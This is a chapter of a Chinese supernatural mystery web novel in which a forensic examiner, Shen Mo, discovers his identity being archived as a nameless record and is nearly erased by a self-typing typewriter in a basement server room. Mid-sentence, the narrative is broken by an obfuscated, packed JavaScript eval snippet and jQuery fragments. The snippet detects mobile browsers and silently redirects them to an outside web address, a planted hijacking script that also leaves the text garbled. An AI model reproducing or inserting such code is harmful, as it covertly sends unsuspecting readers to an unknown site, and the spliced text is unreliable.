那个诡异的音节在雨幕中消散，仿佛从未出现过，但沈默知道，有什么东西被他从长达数十年的沉寂中惊醒了。
他没有动，任由冰冷的雨水浸透衣衫，直到那支白蜡的火焰被一滴恰好落下的雨水彻底浇灭，冒出一缕微不可闻的青烟。
他这才缓缓站起身，收起那块无字的青石板，动作平静得像是在完成一次寻常的现场勘查。
他闭上眼，在脑海中记录下最后一句话：“静默有效，但仅限物理空间锚点。”这意味着，他用自身的存在作为诱饵，成功地在这个被遗忘的角落，确认了“它们”的存在。
回到市法医中心时，天已大亮。
消毒水的气味弥漫在空气中，与他身上残留的泥土和雨水气息混杂在一起。
陈医生早已在解剖楼的通风橱后等着他，脸色比平时更加凝重。
他没有多余的寒暄，直接将一份打印出来的报告推过不锈钢台面。
“你的最新血液报告，”他压低声音，仿佛怕被什么听见，“好消息是，你体内那些被标记为‘基因静默’的短串联重复序列（STR）位点，其沉默范围比上周缩小了百分之三十七。但坏消息更糟。”
陈医生指着报告上的一串复杂分子式，“我们在你的血清里检测到了一种微量未知蛋白，它的三级结构非常奇特，一方面类似与长期记忆形成相关的神经肽，另一方面，它携带的编码序列，不属于任何已知的人类基因组。它就像……就像你的身体在自行合成一种‘抗体’，专门对抗那种‘集体遗忘’的侵蚀。”
沈默接过报告，指尖冰凉。
他看到了陈医生圈出的重点，但更吸引他注意力的，是报告页眉处的一行小字——原始样本编号：佚名0733。
“这是怎么回事？”沈默问。
“我不知道，”陈医生摇了摇头，眼中满是困惑与不安，“我今天早上想调取你最初的入职体检档案做比对，却发现系统里你的个人档案被篡改了。你的名字、职务、警号全部消失，只剩下这个编号——佚名0733。而且，系统自动将这份档案归类到了‘战后失踪及无名遗体数据库’。”
就在这时，一阵急促的脚步声传来，苏晚萤推门而入，她怀里紧紧抱着一本用牛皮纸包裹的厚重手抄本，发梢还滴着水。
“林老师的残稿，”她气喘吁吁地把本子放在实验台上，小心翼翼地翻开其中一页，上面是林老师隽秀而有力的笔迹，“我找到了关键的一段。”
那是一本名为《语言与亡者契约》的手抄本，翻开的那页写着：“名者，界也。呼之则入生界，不呼则游冥隙。”
苏晚萤的手指划过那行字，声音因激动而微微颤抖：“林老师认为，名字不仅仅是一个代号，更是划分‘存在’与‘非存在’的边界。当一个人被呼唤、被记录、被记住时，他就牢牢地站在了‘生界’。而那些在历史中被遗忘、被抹去、在制度中被忽略的‘无名之群’，他们并非不存在，而是游离在‘冥隙’之中。”
她深吸一口气，指向另一段注解：“关键在这里。这种长期的、制度性的忽视，会让他们对‘命名行为’本身，产生一种逆向的执念。任何一个被社会系统正式命名、拥有清晰身份标识的人，对于他们来说，都是一个可以填补自身空缺的‘容器’。他们会本能地被这些完整的‘名字’所吸引，并试图占据、吞噬。老吴当年在火葬场提到的那些‘轻得不像人’的骨灰，其实就是名字被彻底抽走后，连同存在本身的重量一同消失的残躯。”
沈默的瞳孔骤然收缩。
他想起了陈医生的报告，想起了那个“佚名0733”的编号。
他不是在调查一桩悬案，他本身就是这桩悬案的一部分。
他一言不发，转身冲出法医中心，驱车直奔市档案馆。
他记得，那本记录了战后初期死者信息的深蓝色封皮登记簿，就放在B区第七排的档案柜里。
然而，当他再次站在那个熟悉的位置时，心却沉入了谷底。
那个位置空了。
深蓝色的登记簿消失得无影无踪，取而代之的，是一张边缘泛黄的纸条，静静地躺在空荡荡的铁架上。
上面的字迹他再熟悉不过，出自已经故去的老林之手：“它走了，但它记得你写过它。”
一股寒意从沈默的脊椎升起。
他不仅仅是查阅者，他的查阅行为本身，已经惊动了那个未知的存在。
他从口袋里取出一支便携式紫外线勘查灯，对着空柜的内壁扫过。
幽紫色的光线下，一行用特殊化学试剂写下的反向文字赫然显现，字迹潦草而急切，像是有人在极度恐慌中留下的最后警告：“第七排第七柜，勿启——周工留。”
周工，市局档案科的老技术员，三年前因突发性脑溢血死在了岗位上。
当晚，沈默利用自己的权限，调取了全市户籍系统近半年的后台备份日志。
他设定了一个关键词：“佚名”。
搜索结果让他触目惊心。
在庞大的数据流中，有三千一百六十四个“佚名”状态的流动记录。
这些记录像幽灵一样在系统中生灭，没有照片，没有身份证号，只有一个个临时的、随时会被覆盖的匿名编码。
但它们的共同点是，所有数据流动的最终指向，都汇集于同一个IP地址——市局旧楼的地下室，服务器编号B7。
凌晨两点，城市陷入沉睡。
沈默与苏晚萤借着夜色，潜入了早已废弃的市局旧楼。
地下室的空气混浊而冰冷，弥漫着陈年纸张和铁锈的气味。
他们找到了B7室。
门上的老式铜锁完好无损，甚至结了一层薄薄的蛛网，但门缝底下，却不断有灰烬般的黑色粉尘渗出，细腻得如同被研磨过的骨灰。
沈默与苏晚萤对视一眼，他握住冰冷的门把手，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16306244|182836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用力一推。
门开的瞬间，没有意想中的吱呀声。
一股强大的气流从门内喷涌而出，裹挟着成百上千张卡片，如一场暴雪般扑向他们。
沈默下意识地伸手挡在脸前，几张卡片打在他的手臂上，毫无重量。
他定睛一看，那些竟全是空白的身份证。
塑料卡片上印着国徽和制式表格，但照片栏是一片模糊的马赛克人影，姓名、性别、出生年月等所有栏目，都是一片空白。
房间的正中央，放着一张孤零零的旧木桌。
桌上，一台老式的机械打字机正在自行工作。
没有人操作，但它的铅字臂却在以一种稳定而冷酷的节奏，一下下地敲击着，发出“咔、咔、咔”的声响。
一条长长的穿孔纸带，正从打字机的滚筒中缓缓吐出。
沈默一步步走近，他看清了纸带上刚刚被打出的一行字：“沈默，补录编号：佚名07331。”
那个“1”，像是一根针，狠狠刺入他的眼中。
他的身份，正在被这个诡异的系统进行“补录”，或者说，“归档”。
一股无法言喻的愤怒与恐惧瞬间攫住了他，他猛地伸出手，抓向那条正在生成的纸带，想要将它撕成碎片。
然而，他的指尖刚触碰到纸带，一股难以形容的抽离感便从手上传来。
他惊恐地低下头，看见自己的右手，正从指尖开始，一点点变得透明、虚化。
那不是消失，皮肤、骨骼、血管的轮廓依然可见，却失去了质感，仿佛变成了一段即将被删除的全息影像，正在被“重新归档”为系统数据的一部分。
“沈默！”苏晚萤的惊呼声将他从失神中唤醒。
她不顾一切地冲上来，一把抓住他那只正在变得透明的手臂，用尽全力将他向后拖拽。
就在沈默被拉开的瞬间，打字机的敲击声戛然而止。
房间里那股无形的吸力也随之消失。
沈默踉跄着后退，低头看着自己恢复了实体的手，上面还残留着一种被数据洪流冲刷过的冰冷麻木。
桌上的打字机静止不动，仿佛刚才的一切只是幻觉。
但那条穿孔纸带上，最后一行字已经清晰地浮现，像一个冰冷的判决：
“你逃不掉，你也是未完成的记录。”
他们惊魂未定地退出了B7室，身后的铁门在他们背后无声地合拢。
回到车里，两人一路无言。
苏晚萤紧握着方向盘，手心全是冷汗。
而沈默则反复看着自己的右手，那只手看上去与平时无异，但他却能清晰地感觉到，某种属于自己的东西，被永远地剥离了一丝。
那是一种比疼痛更深刻的恐惧，一种对自我存在完整性的根本动摇。
他迫切地需要一个答案，一个最直观的证据，来确认自己是否还作为一个完整的人存在于这个世界上。